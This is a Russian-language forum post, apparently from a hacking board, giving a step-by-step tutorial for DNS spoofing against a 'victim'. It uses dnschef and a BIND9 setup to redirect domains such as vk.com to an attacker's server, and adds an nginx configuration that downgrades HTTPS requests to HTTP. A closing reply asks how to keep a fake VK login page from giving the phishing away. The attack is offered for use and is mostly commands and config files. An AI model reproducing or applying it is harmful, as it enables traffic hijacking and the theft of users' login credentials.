Итак, для начала нужно разобраться, что же такое DNS. Так вот, Domain Name Server служит для перевода доменных имён в ip-адреса и наоборот, ведь браузер грузит непосредственно с ip, предварительно обратившись к обсуждаемому в статье серверу, чтобы перевести введённый вами адрес (прим. vk.com) в ip сервера вида 255.255.255.255, чтобы уже с него получить страницу. И если, например, в роутере заменить DNS на свой фейк, то вместо сайта, запрошенного жертвой, отобразится то, что захотим мы. Для начала нужно заиметь SSH-сервер, либо VDS/VPS на линуксе. Особо не копая, нашел два способа совершить сие злодеяние. Первый способ (Скрипт Python) Качаем архив со скриптом Код: wget https://thesprawl.org/media/projects/dnschef-0.3.zip Распаковываем Код: unzip dnschef-0.3.zip Переходим в распакованную папку Код: cd /home/[путь]/dnschef Разрешаем скрипту быть выполняться Код: chmod 755 *.py Ставим модули Код: pip install dnslib pip install IPy Создаем файлик hosts.txt, в него пишем Код: [A] huyandex.ru=IP_TВОЕГО_VPS Запускаем. убедившись, что 53 порт не занят и запущен апач с фейком. Код: ./dnschef.py -i 0.0.0.0 --logfile=log.txt --file=hosts.txt Твой DNS работает. Возврашает адреса, но только на запрос huyandex.ru отдает ваш IP_TВОЕГО_VPS Если нужно оставить скрипт работать и выйти с vps, то запускайте через screen или nohup. В качестве запасного DNS рекомендую использовать реальный (8.8.8.8), так, на всякий случай. p.s. В пакете есть скомпиленая версия под Windows ей не нужны дополнительные модули и питон. Можно просто запустить на дедике. Способ номер 2 (BIND) Устанавливем BIND9 Код: apt-get install bind9 Настраиваем bind Файл /etc/bind/named.conf.options Код: options { directory "/var/cache/bind"; auth-nxdomain no; listen-on-v6 { none; } ; forwarders { 192.168.1.1; 8.8.8.8; }; forward first; # }; Файл /etc/bind/named.conf.local Код: zone "vk.com" { type master; file "/etc/bind/db.com"; }; zone "1.168.192.in-addr.arpa" { type master; file "/etc/bind/1.168.192.in-addr.arpa.zone"; }; Создадим файлы /etc/bind/db.com Код: $TTL 30 $ORIGIN vk.com. @ IN SOA ns1.vk.com. root.vk.com. ( 2014110300 1h 1h 1h 1h ); @ IN NS ns1.vk.com. @ IN A 192.168.1.104 vk IN A 192.168.1.104 ns1 IN A 192.168.1.1 Файл /etc/bind/1.168.192.in-addr.arpa.zone Код: $TTL 30 $ORIGIN 1.168.192.in-addr.arpa. @ IN SOA ns1.vk.com. root.vk.com. ( 2014110301 1h 1h 1h 2h ); NS ns1.vk.com. 1 PTR ns1.vk.com. 2 PTR vk.com. Файл /etc/default/bind9 Код: ... RESOLVCONF=yes ... Перезапускаем bind Код: /etc/init.d/bind9 restart Ставим nginx Код: apt-get install nginx Теперь можно прописывать наш злобный днс жертве. Вместо vk.com будет загружаться страница приветствия nginx'a. Это если по http – не проблема! Видим произвольный сайт и http://vk.com в браузере. А что, если у нас https? Тогда будет не найдена страница. Почему? Да потому что nginx у нас слушает только 80 порт, а не 443. Будем исправлять. Код: nano /etc/nginx/conf.d/default.conf/CODE] добавляем новый инстанс сервера: Код: server { listen 443; server_name vk.com; ssl on; ssl_certificate /etc/nginx/ssl/server.crt; ssl_certificate_key /etc/nginx/ssl/server.key; rewrite ^(.*) http://vk.com$1 permanent; } Про то, как заливать свой фейковый сайт, ищите в гугле. Спасибо за внимание.
Мой фейк при вводе логина/пароля перебрасывает на реальную страницу логина ВК. Но ведь из-за вышеприведенного способа она блокируется и люто палит горе-хакера. Как это обойти?